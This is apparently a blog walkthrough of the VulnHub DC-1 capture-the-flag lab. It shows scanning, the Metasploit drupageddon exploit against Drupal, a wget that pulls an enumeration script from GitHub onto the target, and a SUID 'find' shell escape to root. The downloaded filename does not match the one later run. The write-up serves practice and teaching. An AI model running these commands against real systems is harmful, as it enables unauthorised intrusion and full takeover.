DC-1 Walkthrough
Introduction
Today we're going to do a boot2root pentest walkthrough of the DC-1 machine created by DCAU7 and hosted at https://www.vulnhub.com/entry/dc-1,292/ .
For this pentest walkthrough we'll be using two virtual machines, a Kali Linux machine as our attacking system, and the DC-1 machine as our target system.
Locating the Target
After booting up both machines, the first thing to do is locate the target system on our network, so we run netdiscover from our attacking system.
netdiscover -r 10.0.2.0/24
Looks like 10.0.2.20 is our target.
Scanning and Enumeration
We start our scans with nmap, and scan for open TCP and UDP ports on the target system.
nmap -T4 -p- 10.0.2.20 ; nmap -T4 -sU -F 10.0.2.20
Four ports open. We'll run nmap again against those four ports to get more info.
nmap -T4 -A -p22,80,111,58224 10.0.2.20
There's a lot of potential in these robot.txt entries. We might look through them later.
We get a big lead from scans made by the Nessus vulnerability scanner.
It seems that the Drupal CMF (content management framework) is a potential target because the installed version is outdated.
Finding a Way In
With a bit of searching, we find this entry on exploit-db.com . It turns out that this exploit is also featured as a Metasploit module, so we start out Metasploit console and navigate to the module's directory.
msfconsole
use /multi/http/drupal_drupageddon
options
Looks like the only option we have to set on this module is the remote host.
set rhosts 10.0.2.20
run
The exploit worked, and we now have a Meterpreter shell on the target system.
Privilege Escalation
Next, we'll drop from our Meterpreter shell to a regular remote shell. Then, we'll upgrade from our non-TTY shell to a more useful one using a Python one-liner command.
shell
python -c 'import pty; pty.spawn("/bin/bash")'
We want to use a script to help us enumerate the target system now that we're in, but we need to download it to our target system first.
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEum.sh
Before we can run our enumeration script, we need to give executable permissions to the file.
chmod +x LinEnum.sh
Now we'll run script with the -t switch, so give more thorough results.
./LinEnum.sh -t
After looking through the output of the script, we find something interesting.
The find command as a SUID binary is a potential tool for us to use for privilege escalation. If the find command is a SUID binary, the following command should open a new shell for us with root privileges.
find . -exec /bin/sh \; -quit
It worked, and we have a root shell. Now to cat out the system's flag file and we'll be done.
cd /root
ls
cat thefinalflag.txt
Summary
After our initial scans, we found that the target's Drupal app was outdated and vulnerable to exploit, so we used a Metasploit module to gain a remote shell on the target system. From there, we used a script to enumerate the system and found that a vulnerable command was set as a SUID binary, so we exploited it to gain root access and capture the system's flag.
Finish
Comments
Post a Comment